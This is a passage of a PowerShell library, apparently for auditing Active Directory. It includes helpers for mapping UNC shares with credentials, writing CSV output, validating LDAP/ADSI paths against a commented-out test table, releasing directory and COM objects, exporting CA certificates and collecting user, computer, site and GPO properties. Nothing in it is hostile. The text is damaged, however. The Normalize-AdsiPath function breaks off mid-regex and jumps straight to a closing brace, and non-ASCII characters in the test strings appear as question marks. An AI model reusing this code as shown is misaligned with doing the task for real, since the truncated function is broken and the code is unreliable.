  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { $unc -notlike '\\?*\?*' }
  [string] $uncServer = [regex]::Match($unc, '\A\\\\[^\\]+')

  DBG ('Going to provide network credentials for UNC: {0} | {1} | {2}' -f $unc, $uncServer, $fullLogin)
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $uncServer }

  if (Is-ValidString $uncServer) {

    DBG ('Delete the network credentials always: {0}' -f $uncServer)
    Run-Process NET ('USE "{0}" /Delete' -f $uncServer)

    if (Is-ValidString $fullLogin) {

      DBG ('Login valid, we should store the new credentials: {0} | {1}' -f $uncServer, $fullLogin)
      Run-Process NET ('USE "{0}" /User:"{1}" "{2}"' -f $uncServer, $fullLogin, $pwd)
    }
  }
}

 
function global:Save-CSV ([string] $csvFile, [object] $objOrList, [bool] $append, [DateTime] $startDate)
{
  DBG ('{0}, Output to a file: {1}' -f $MyInvocation.MyCommand.Name, $csvFile)

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $csvFile }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $objOrList }  
  DBGIF $MyInvocation.MyCommand.Name { -not ((Is-NonNull $objOrList) -and (((($objOrList -is [array]) -or ($objOrList -is [System.Collections.ArrayList])) -and ($objOrList.Count -gt 0) -and ($objOrList[0] -is [PSCustomObject])) -or ($objOrList -is [PSCustomObject]))) }


  Ensure-RootDirExists $csvFile $true


  if ((-not $append) -or (-not ([System.IO.File]::Exists($csvFile)))) { 

    DBGSTART
    [void] (New-Item $csvFile -ItemType File -Force)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  if (Is-NonNull $objOrList) {

    if (Is-NonNull $startDate) {
    
      Add-Mbr $objOrList 'auditDuration' ('{0:c}' -f ((Get-Date) - $scriptStart))
    }
    
    [object[]] $importedCsv = @()
    [object[]] $outList = @()

    DBGSTART
    $importedCsv = Import-Csv $csvFile
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    $outList += $objOrList
    
    if (Is-NonNull $importedCsv) { $outList += $importedCsv }
  
    DBGSTART
    $outList | Export-Csv -Path $csvFile -NoTypeInformation
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    
    if ((-not $append) -and ($outList.Count -le 0)) {
    
      DBG "Output file empty, deleting..."
    
      DBGSTART
      Remove-Item -Path $csvFile -Force
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
    
<#    $listCSV = $list | ConvertTo-CSV -NoTypeInformation

    # the 
    DBGIF $MyInvocation.MyCommand.Name { -not ($listCSV.Count -ge 2) }
        
    if ($listCSV.Count -ge 2)
    {    
      # just make sure that the file doesnt contain some/any data
      if ((Get-Item $csvFile).Length -gt 6) {
      
        $listCSV | Select -Skip 1 | Add-Content $csvFile -Force
        
      } else {    
                                                                                                            
        $listCSV | Set-Content $csvFile -Force
      }
    }#>
  }
}


function global:Get-NormalDNMatch ([bool] $pureDN)
{
  # Note: an older version, where I thought that the forward slash (/) must be escaped in DN
  #       but as it appears, it does not need to be escaped
  #$oneDnPart = '(?:[a-zA-Z]+=(?:\w|[`~!@%&_:'' \-\.\$\^\{{\}}\[\]\(\|\)\*\?]|[\x80-\xFF]|\\#|\\\+|\\=|\\"|\\;|\\<|\\>|\\,|\\/|\\\\)+||)' -f $global:rxGUID
  $oneDnPart = '(?:[a-zA-Z]+=(?:\w|[`~!@%&_:''/ \-\.\$\^\{{\}}\[\]\(\|\)\*\?]|[\x80-\xFF]|\\#|\\\+|\\=|\\"|\\;|\\<|\\>|\\,|\\\\)+||)' -f $global:rxGUID
  $fullDn = "(?:$oneDnPart(?:,|\Z))+"
  $dn = "(RootDSE|$fullDn|)"

  if ($pureDN) {

    $dn = RxFullStr $dn
  }

  return $dn  
}


function global:Get-NormalAdsiMatch ()
{
  $dn = Get-NormalDNMatch
  $normalAdsiMatch = "\A(LDAP|GC)://(?:(?:$global:rxFqdn|()())()\Z|$global:rxFqdn/$dn\Z|()()$dn\Z)"

  return $normalAdsiMatch
}

function global:Assert-NormalAdsiPath ([string] $adsiPath)
{
  # Note: LDAP ADSI path must escape the following characters in DN
  #       (the forward slash must be escaped in ADSI only, DN can contain
  #       forward slash un-escaped when read from AD):
  #       \# \+ \= \" \\ \; \< \> \, \/
  #
  #       In our implementation, DN may contain the following special characters
  #       plus spaces:
  #       `~!@#%&_=-}]:"';<>/,
  #      
  #       In our implementation, we assume DN prefix is always [a-zA-Z] which may not be the case
  #       in real AD scenario
  #
  # [A-z] is WRONG!, must always be [a-zA-Z]
  # \w matches all word characters >127, which means that it does not match ?? etc.

<#

$adsiTester = @{

  'LDAP://server8-59.39.gopas.virtual:888/'		= $true;
  'LDAP://'										= $true;
  'LDAP://'																						= $true;

  'LDAP://server8-59.39.gopas.virtual:888/'							= $true;
  'LDAP://'															= $true;

  'LDAP://server8-59.39.gopas.virtual:888/CN=kamil,DC=gopas,DC=virtual'		= $true;
  'LDAP://server8-59.39.GOPas.virtual:888/'					= $true;
  'LDAP://server8-59.39.gopas.virtual:888'					= $true;
  'GC://server8-59.39.gopas.virtual:888/RootDSE'				= $true;

  'GC://localhost:888/CN=kamil,DC=gopas,DC=virtual'				= $true;
  'LDAP://localhost:888/'							= $true;
  'LDAP://localhost:888'							= $true;
  'LDAP://localhost:888/RootDSE'						= $true;

  'LDAP://server8-59.39.gopas.virtual/CN=kamil,DC=gopas,DC=virtual'		= $true;
  'LDAP://server8-59.39.gopas.virtual/CN=kamil'					= $true;
  'GC://server8-59.39.gopas.virtual/'						= $true;
  'LDAP://server8-59.39.GOPas.virtual'						= $true;
  'LDAP://server8-59.39.gopas.virtual/RootDSE'					= $true;

  'LDAP://localhost/CN=kamil,DC=gopas,DC=virtual'				= $true;
  'LDAP://localHOST/'								= $true;
  'GC://localhost'								= $true;
  'LDAP://localhost/RootDSE'							= $true;

  'LDAP://CN=kamil,DC=gopas,DC=virtual'						= $true;
  'LDAP://'									= $true;
  'GC://RootDSE'								= $true;

  'LDAP://server8-59.39.gopas.virtual:385/CN=kamil,CN=srv.gopas.virtual:999,DC=gopas,DC=virtual'		= $true;

  'LDAP://CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'						= $true;
  'LDAP://server8/CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'						= $true;
  'LDAP://CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'					= $true;
  'LDAP://server.gopas.virtual.int:888/CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'	= $true;
  'LDAP://localhost:11/CN=secret,CN=ond?ej ?????  sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'			= $true;
  'LDAP://ser-ver.gopas.virtual.int:888/CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'	= $true;
  'LDAP://local-host:11/CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'			= $true;


  'LDAP:\\server8-59.39.gopas.virtual\CN=kamil,DC=gopas,DC=virtual'		= $false;
  'LDAP://server8-59.39.gopas.virtual:11:58/CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virtual:a5/CN=kamil,DC=gopas,DC=virtual'		= $false;
  'LDAP://server8_59.39.gopas.virtual:a5/CN=kamil,DC=gopas,DC=virtual'		= $false;
  'LDAP://server8-59.39.gopas.virtual:/CN=kamil,DC=gopas,DC=virtual'		= $false;
  'LDAP://:/CN=kamil,DC=gopas,DC=virtual'					= $false;
  'LDAP:///CN=kamil,DC=gopas,DC=virtual'					= $false; # am I sure is this really invalid? definitely, DirectoryEntry cannot open it
  'server8-59.39.gopas.virtual:11/CN=kamil,DC=gopas,DC=virtual'			= $false;
  'server8-59.39.gopas.virtual:11'						= $false;
  'LDAP://server8-59.39.gopas.virtual/Nothing'					= $false;
  'LDAP://server8-59.39.gopas.virtual/Not-hing'					= $false;
  'LDAP://server8-59.39.gopas.virtual/CN='					= $false;
  'LDAP://server8-59.39.gopas.virtual/C-N=pokus'				= $false;
  'LDAP://server8-59.39.gopas.virtual/C\N=pokus'				= $false;
  'LDAP://server8-59.39.gopas.virtual/CN=pokus"'				= $false;
  'LDAP://server8-59.39.gopas.virtual/Neco/OU=Company,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virtual/Neco.server.com:381/OU=Company,DC=gopas,DC=virtual'										= $false;
  'LDAP://server8-59.39.gopas.virtual:385/server8-59.39.gopas.virtual:385/CN=kamil,CN=srv.gopas.virtual:999,DC=gopas,DC=virtual'					= $false;
  'LDAP://server8-59.39.gopas.virtual:385/server8-59.39.gopas.virtual:385CN=kamil,CN=srv.gopas.virtual:999,DC=gopas,DC=virtual'						= $false;

  'LDAP://ser_ver.gopas.virtual.int:888/CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'	= $false;
  'LDAP://local+host:11/CN=secret,CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'			= $false;

                  'LDAP://CN=1ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: " |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'				= $false;
                  'LDAP://CN=2ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . ,,OU=Company,DC=gopas,DC=virtual,DC=int'				= $false;
                  'LDAP://CN=CN=3ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'			= $false;
                  'LDAP://CN=4ond?ej sevecek`~!@ \# $%^&*()_ \+ = -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'				= $false;
   # valid:        'LDAP://CN=ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'
                  'LDAP://CN=5ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \\ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,int'				= $false;
                  'LDAP://CN=6ond?ej sevecek`~!@ \# $%^&*()_ \+ \= -{}][: \" |'' \; \ \< \> ? \/ . \,,OU=Company,DC=gopas,DC=virtual,DC=int'				= $false;

  'ldp:\\server8-59.39.gopas.virtual\CN=kamil,DC=gopas,DC=virtual'		= $false;
  'LDAP://server8-59.39.gopas.virtual:/'					= $false;
  'LDAP://server8-59.39.gopas.virtual:'						= $false;
  'LDAP://server8-59.39.gopas.virtual:dd/'					= $false;
  'LDAP://server8-59.39.gopas.virtual:dd'					= $false;
  'LDAP://server8-59.39.gopas.virtual:55dd'					= $false;
  'LDAP://:55'									= $false;
  'LDAP://:'									= $false;
  'LDAP://:a'									= $false;
  'LDAP://server8-59.39.gopas.virtual:55dd//'					= $false;
  'LDAP:///'									= $false;
  'LDAP:/'									= $false;
  'ldap://localhost'								= $false

  'LDAP://server8-59.39.gopas.virtual_:888/CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virt_ual:888/CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.go_pas.virtual:888/CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8_59.39.gopas.virtual:888/CN=kamil,DC=gopas,DC=virtual'		= $false;

  'LDAP://server8-59.39.gopas.virtual:888//CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virtual:888/\/CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virtual:888CN=kamil,DC=gopas,DC=virtual'		= $false;

  'LDAP://server8-59.39.gopas.virtual:888/CN=kamil, DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.gopas.virtual:888/ CN=kamil,DC=gopas,DC=virtual'	= $false;
  'LDAP://server8-59.39.GOPas.virtual:888/ '								= $false;
  'LDAP://server8-59.39.gopas .virtual:888'									= $false;
  'GC ://server8-59.39.gopas.virtual:888/RootDSE'							= $false;
  'GC :// server8-59.39.gopas.virtual:888/RootDSE'							= $false;
  'GC :/ / server8-59.39.gopas.virtual:888/RootDSE'							= $false;

  'LDAP://server8-59.39.gopas.virtual:888/'		= $false;
  'LDAP://'											= $false;
  'LDAP://'																							= $false;

  'LDAP://server8-59.39.gopas.virtual:888/'							= $false;
  'LDAP://'																= $false;
  }


$adsiTester.Keys | % {

  $res = $adsiTester[$_]

  if (($_ -cmatch (Get-NormalAdsiMatch)) -ne $res) { 

    write-host ('Invalid result: shouldMatch = {0} | ADSI = {1}' -f $res, $_)
  
  } elseif ($res) {

    $captures = [RegEx]::Match($_, (Get-NormalAdsiMatch)) | Select -Expand Groups | Select -Expand Captures | Select -Expand Value
    if ($captures.Count -ne 5) {

      write-host ('Invalid number of components: # = {0} | ADSI = {1}' -f $captures.Count, $_)
    }
  }
}

#>

  $rxRes = [RegEx]::Match($adsiPath, (Get-NormalAdsiMatch)) # do not 'IgnoreCase' to validate properly LDAP or GC

  DBGIF ('ADSI path syntax assertion: {0}' -f $adsiPath) { -not $rxRes.Success }
  DBGIF ('ADSI path syntax assertion: {0}' -f $adsiPath) { (Get-CountSafe ($rxRes | Select -Expand Groups | Select -Expand Captures | Select -Expand Value)) -ne 5 }
}


function global:Normalize-AdsiPath ([string] $dn, [string] $moniker) 
{
  $adsiPath = $null

  if (Is-ValidString $dn) {
  
    if (Is-EmptyString $moniker) { 

      # Determine the moniker from DN itself

      if ($dn -like 'LDAP://*') {
    
        $moniker = 'LDAP'

      } elseif ($dn -like 'GC://*') {
    
        $moniker = 'GC'

      } elseif ($dn -match '\A[a-zA-Z]+://') {

        $moniker = $dn.Substring(0, $dn.IndexOf(':'))
        DBGIF ('Nonstandard moniker used: {0}' -f $moniker) { $true }

      } else {
             
        $moniker = 'LDAP'
      }
    }


    # There may be rare situations when our caller wants the moniker in
    # the $dN replaced with a manually specified $moniker as an input
    # parameter

    $dn = $dn -replace '\A[a-zA-Z]+://', ''

  
    if ($dn -like '/*') {

      # cope with scenarios such as the PKI case of triple slash LDAP:/// or GC:///
      # which although standard, the DirectoryEntry implementation does not accept the
      # triple slash
      $dn = $dn.SubString(1)
    }


    # Although forward slash (/) need not to be escaped in DN,
    # the DirectoryEntry implementation has problems opening such a DN
    # if FQDN is not specified in the string, so escaping (/) does not
    # do any harm either

    if ($dn -match "\A(?:$global:rxFqdn)(?:\Z|/)") {

      $dn = '{0}{1}' -f $Matches[0], ($dn.SubString($Matches[0].Length) -replace '(?
}


function global:Dispose-List ([object] $dispoListRef)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef.Value }
  DBGIF $MyInvocation.MyCommand.Name { $dispoListRef.Value -isnot [System.Collections.ArrayList] }

  $dispoList = $dispoListRef.Value

  if (Is-NonNull $dispoList) {

    #DBG ("Disposing {0} objects." -f $dispoList.Count)
  
    for ($i = 0; $i -lt $dispoList.Count; $i ++) {
  
      if (Is-NonNull $dispoList[$i]) {
      
        # Note: in PowerShell 3 the Dispose method on DEs is now exposed into the object view itself
        #       while in PowerShell 2 it was still in the .psbase only
        #DBGIF $MyInvocation.MyCommand.Name { (Is-Null (Get-Member -Input $dispoList[$i] -MemberType Method | ? { $_.Name -eq 'Dispose' } )) -and (Is-Null (Get-Member -Input $dispoList[$i].psbase -MemberType Method | ? { $_.Name -eq 'Dispose' } ))}
        DBGIF $MyInvocation.MyCommand.Name { Is-Null (Get-Member -Input $dispoList[$i].psbase -MemberType Method | ? { $_.Name -eq 'Dispose' } ) }
        $dispoList[$i].psbase.Dispose()
        $dispoList[$i] = $null
      }
    }
    
    $dispoList.Clear()
  }

  [GC]::Collect()
  [GC]::WaitForPendingFinalizers()
}


function global:Release-ComList ([object] $dispoListRef)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef.Value }
  DBGIF $MyInvocation.MyCommand.Name { $dispoListRef.Value -isnot [System.Collections.ArrayList] }

  $dispoList = $dispoListRef.Value

  if (Is-NonNull $dispoList) {

    for ([int] $i = ($dispoList.Count - 1); $i -ge 0; $i --) {
  
      if (Is-NonNull $dispoList[$i]) {
      
        DBGSTART
        [void] [System.Runtime.Interopservices.Marshal]::ReleaseComObject($dispoList[$i])
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND

        $dispoList[$i] = $null
      }
    }
    
    $dispoList.Clear()
  }

  [GC]::Collect()
  [GC]::WaitForPendingFinalizers()
}


function global:Dispose-Handles ([object] $dispoListRef, [string] $handleCloseFunction)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $dispoListRef.Value }
  DBGIF $MyInvocation.MyCommand.Name { $dispoListRef.Value -isnot [System.Collections.ArrayList] }

  $dispoList = $dispoListRef.Value

  if (Is-NonNull $dispoList) {

    for ([int] $i = ($dispoList.Count - 1); $i -ge 0; $i --) {
  
      if (Is-NonNull $dispoList[$i]) {
      
        DBG ('Disposing handle: {0}' -f $dispoList[$i])
        DBGSTART
        $resBool = [Sevecek.Win32Api.Kernel32]::CloseHandle($dispoList[$i])
        $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
        #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        DBG ('WIN32API Result: {0}' -f $resBool)
        DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

        $dispoList[$i] = $null
      }
    }
    
    $dispoList.Clear()
  }

  [GC]::Collect()
  [GC]::WaitForPendingFinalizers()
}


function global:Dispose-ADSearch ([object] $searchObjsRef)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $searchObjsRef }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $searchObjsRef.Value }
  #DBGIF $MyInvocation.MyCommand.Name { $searchObjsRef.Value -isnot [System.Collections.ArrayList] }
 
  $searchObjs = $searchObjsRef.Value

  if (Is-NonNull $searchObjs.searcher) { $searchObjs.searcher.Dispose() ; $searchObjs.searcher = $null }
  if (Is-NonNull $searchObjs.result) { $searchObjs.result.Dispose() ; $searchObjs.result = $null }
  if ($searchObjs.relatedDEs.Count -gt 0) { Dispose-List ([ref] $searchObjs.relatedDEs) }

  $searchObjs.found = $false

  [GC]::Collect()
  [GC]::WaitForPendingFinalizers()
}




function global:Get-CertificateStores ([string] $rootPath, [string] $scope, [string] $objectClass, [string] $outFileName)
{
  [System.Collections.ArrayList] $deList = @()

  $outputValues = @()
  
  $certsRoot = Get-DE $rootPath ([ref] $deList)
  $searchRes = Get-ADSearch $certsRoot $scope "(objectClass=$objectClass)"
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $searchRes[0] }

  if ($searchRes.found) {

    $certID = 0
    
    #$searchRes[1] = $searchRes[0].FindAll()
    $searchRes.result | % { 

      $certContainer = Get-DE $_.Path ([ref] $deList)

      # if the scope is 'base' then we are processing either nTAuthCertificates or user objects
      # and should output just the number of certificates found
      # if the scope is 'oneLevel' or 'subTree' then we are processing something that is a list of
      # cert stores, such as Certification Authorities or Enrollment Services and should return
      # the list of their names
      
      if ($scope -ne 'base') {
      
        $ccCN = GDES $certContainer cn
        $ccDNS = GDES $certContainer dNSHostName

        if (Is-ValidString $ccDNS) { 
        
          $outputValues += $ccDNS
          
        } else {
        
          $outputValues += $ccCN
        }
      }
      
      
      $certContainer.cACertificate | % { 

        if (Is-NonNull $_) {

          $certID ++
          Set-Content -Value $_ -Path (Get-DataFileApp $outFileName $certID '.cer') -Encoding byte -Force -EV er -EA SilentlyContinue
          DBGER $MyInvocation.MyCommand.Name $er
        }
      }
    }
    

    if ($scope -eq 'base') {
    
      $outputValues += $certID
    }
  }

  Dispose-ADSearch ([ref] $searchRes)
  Dispose-List ([ref] $deList)
  
  return (Format-MultiValue $outputValues)
}

function global:Get-ObjPropGPO ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  Add-Mbr $out 'displayName' (GDES $obj displayName)
  Add-Mbr $out 'functionalityVersion' (GDES $obj gPCFunctionalityVersion)
  Add-Mbr $out 'wmiFilter' (Is-ValidString (GDES $obj gPCWQLFilter))
  
  DBGSTART
  [int] $versionNumber = [int] (GDES $obj versionNumber)
  DBGEND
  
  Add-Mbr $out 'versionADComputer' ($versionNumber % 65536)
  Add-Mbr $out 'versionADUser' (($versionNumber - ($versionNumber % 65536)) / 65536)
  Add-Mbr $out 'userDisabled' ((GDES $obj flags) -eq 1)
  Add-Mbr $out 'computerDisabled' ((GDES $obj flags) -eq 2)
  Add-Mbr $out 'bothDisabled' ((GDES $obj flags) -eq 3)
  Add-Mbr $out 'created' (GDED $obj whenCreated)
  Add-Mbr $out 'modified' (GDED $obj whenChanged)
  Add-Mbr $out 'fsPath' (GDES $obj gPCFileSysPath)
}

function global:Get-ObjPropUser ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  Add-Mbr $out 'sam' (GDES $obj sAMAccountName)
  Add-Mbr $out 'upn' (GDES $obj userPrincipalName)
  Add-Mbr $out 'displayName' (GDES $obj displayName)
  Add-Mbr $out 'uac' (GDEF $obj $uacFlags userAccountControl)
  Add-Mbr $out 'mail' (GDES $obj mail)
  Add-Mbr $out 'logon' (GDEI $obj lastLogonTimestamp)
  Add-Mbr $out 'pwd' (GDEI $obj pwdLastSet)
  Add-Mbr $out 'created' (GDED $obj whenCreated)
}

function global:Get-ObjPropComputer ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  Add-Mbr $out 'sam' (GDES $obj sAMAccountName)
  Add-Mbr $out 'fqdn' (GDES $obj dNSHostName)
  Add-Mbr $out 'additionalFQDN' (GDES $obj 'msDS-AdditionalDnsHostName')
  Add-Mbr $out 'uac' (GDEF $obj $uacFlags userAccountControl)
  Add-Mbr $out 'os' (GDES $obj operatingSystem)
  Add-Mbr $out 'sp' (GDES $obj operatingSystemServicePack)
  Add-Mbr $out 'osVersion' (GDES $obj operatingSystemVersion)
  Add-Mbr $out 'lastLogonTimestamp' (GDEI $obj lastLogonTimestamp)
  Add-Mbr $out 'lastPwdChange' (GDEI $obj pwdLastSet)
}

<#
function global:Get-ObjPropDC ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  $dcPath = (GDES $obj serverReferenceBL)

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dcPath }
  
  if (Is-ValidString $dcPath) { 
  
    $ntdsPath = 'CN=NTDS Settings,' + $dcPath
    & "$global:rootDir\lib-Get-DCStateFromNTDS.ps1"
  
    $subOut = Get-DCStateFromNTDS $ntdsPath $null $true
  
    Add-Mbrs $out $subOut
  }
}
#>

function global:Get-ObjPropSubnet ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  [System.Collections.ArrayList] $deList = @()

  Add-Mbr $out 'location' (GDES $obj location)
  
  [string] $siteName = $null
  $siteObj = GDES $obj siteObject
  if (Is-ValidString $siteObj) {

    $site = Get-DE $siteObj ([ref] $deList)
    $siteName = GDES $site name
     
    Dispose-List ([ref] $deList)
  }  
  
  Add-Mbr $out 'site' $siteName
}

function global:Get-ObjPropLink ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  [System.Collections.ArrayList] $deList = @()
  
  Add-Mbr $out 'interval' (GDES $obj replInterval)
  Add-Mbr $out 'cost' (GDES $obj cost)
  Add-Mbr $out 'options' (GDEF $obj $linkOptions options)

  $siteNames = @()
  $siteCount = 0
  $obj.siteList | % { 

    $siteCount ++
    
    $site = Get-DE $_ ([ref] $deList)
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $site }

    if (Is-NonNull $site) {
  
      $siteNames += GDES $site name
    }
  }
  
  Add-Mbr $out 'siteCount' $siteCount
  Add-Mbr $out 'sites' (Format-MultiValue $siteNames)
  Add-Mbr $out 'schedule' (GDEExists $obj schedule)

  Dispose-List ([ref] $deList)
}

function global:Get-ObjPropSite ([object] $obj, [object] $out)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $out }

  [System.Collections.ArrayList] $deList = @()

  Add-Mbr $out 'location' (GDES $obj location)

  $siteSettings = Get-SubDE 'CN=NTDS Site Settings' $obj ([ref] $deList)
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $siteSettings }

  Add-Mbr $out 'options' (GDEF $siteSettings $siteOptions options)

  Add-CountMbr $out 'dcCount' $obj 'subTree' "(&(objectCategory=nTDSDSA)(objectClass=nTDSDSA))"
  Add-CountMbr $out 'rodcCount' $obj 'subTree' "(&(objectCategory=nTDSDSARO)(objectClass=nTDSDSA))"

  $subnets = @()
  $srch = Get-ADSearch $obj.Parent 'subTree' "(&(objectCategory=subnet)(objectClass=subnet)(siteObject=$($obj.distinguishedName)))" 'name'
  
  if ($srch.found)
  {
    #$srch[1] = $srch[0].FindAll()
    $srch.result | % { $subnets += GSRS $_ 'name' }
  }

  Dispose-ADSearch ([ref] $srch)

  Add-Mbr $out 'subnets' (Format-MultiValue $subnets)
  Add-Mbr $out 'schedule' (GDEExists $siteSettings schedule)

  Dispose-List ([ref] $deList)
}

function global:Get-ObjectProperties ([string] $dn)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dn }

  $out = New-Object PSObject 
  [System.Collections.ArrayList] $deList = @()

  $obj = Get-DE $dn ([ref] $deList)
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $obj }

  if (Is-NonNull $obj)
  {
    Add-Mbr $out 'name' (GDES $obj name)
    Add-Mbr $out 'description' (GDES $obj description)

    if (Is-ADClass $obj 'site') { Get-ObjPropSite $obj $out }

    if (Is-ADClass $obj 'subnet') { Get-ObjPropSubnet $obj $out }

    if (Is-ADClass $obj 'siteLink') { Get-ObjPropLink $obj $out }

    if (Is-ADClass $obj 'computer') { Get-ObjPropComputer $obj $out }

    if (Is-ADClass $obj 'groupPolicyContainer') { Get-ObjPropGPO $obj $out }
    
<#    if (
      (Is-ADClass $obj 'computer' 'computer') -and
      (((GDES $obj userAccountControl) -band 67112960) -eq 4096)
       ) { Get-ObjPropComputer $obj $out }

    if (
      (Is-ADClass $obj 'computer' 'computer') -and
      (((GDES $obj userAccountControl) -band 67117056) -gt 0)
       ) { Get-ObjPropDC $obj $out } #>

    if (
      (Is-ADClass $obj 'user' 'person') -or
      (Is-ADClass $obj 'inetOrgPerson' 'person') -or
      (Is-ADClass $obj 'msDS-ManagedServiceAccount' 'msDS-ManagedServiceAccount')
       ) { Get-ObjPropUser $obj $out }

    Add-Mbr $out 'dn' (GDES $obj distinguishedName)
 
    Dispose-List ([ref] $deList)
  }
 
  return $out
}

function global:Count-SearchResults ([object] $root, [string] $scope, [string] $filter, [string] $outFileFullName)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $root }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $scope }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $filter }

  $searchStart = (Get-Date)
  DBG ('Searching: {0}, {1}, {2}' -f (GDES $root distinguishedName), $scope, $filter)
  
  $srch = Get-ADSearch $root $scope $filter $null
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $srch }

  $resultCount = 0 ; 

  if ($srch.found)
  {
    #DBGIF $MyInvocation.MyCommand.Name { -not ($srch[1] -is [System.DirectoryServices.SearchResultCollection]) }
    
    #$srch[1] = $srch[0].FindAll()

    if (Is-ValidString $outFileFullName) {

      $fileOut = @()
      DBG ('Search output to a file: {0}' -f $outFileFullName)

#      [void] (New-Item -Path $outFileFullName -Force -ItemType File -EV er -EA SilentlyContinue)
#      DBGER $MyInvocation.MyCommand.Name $er 

      $srch.result | % {
  
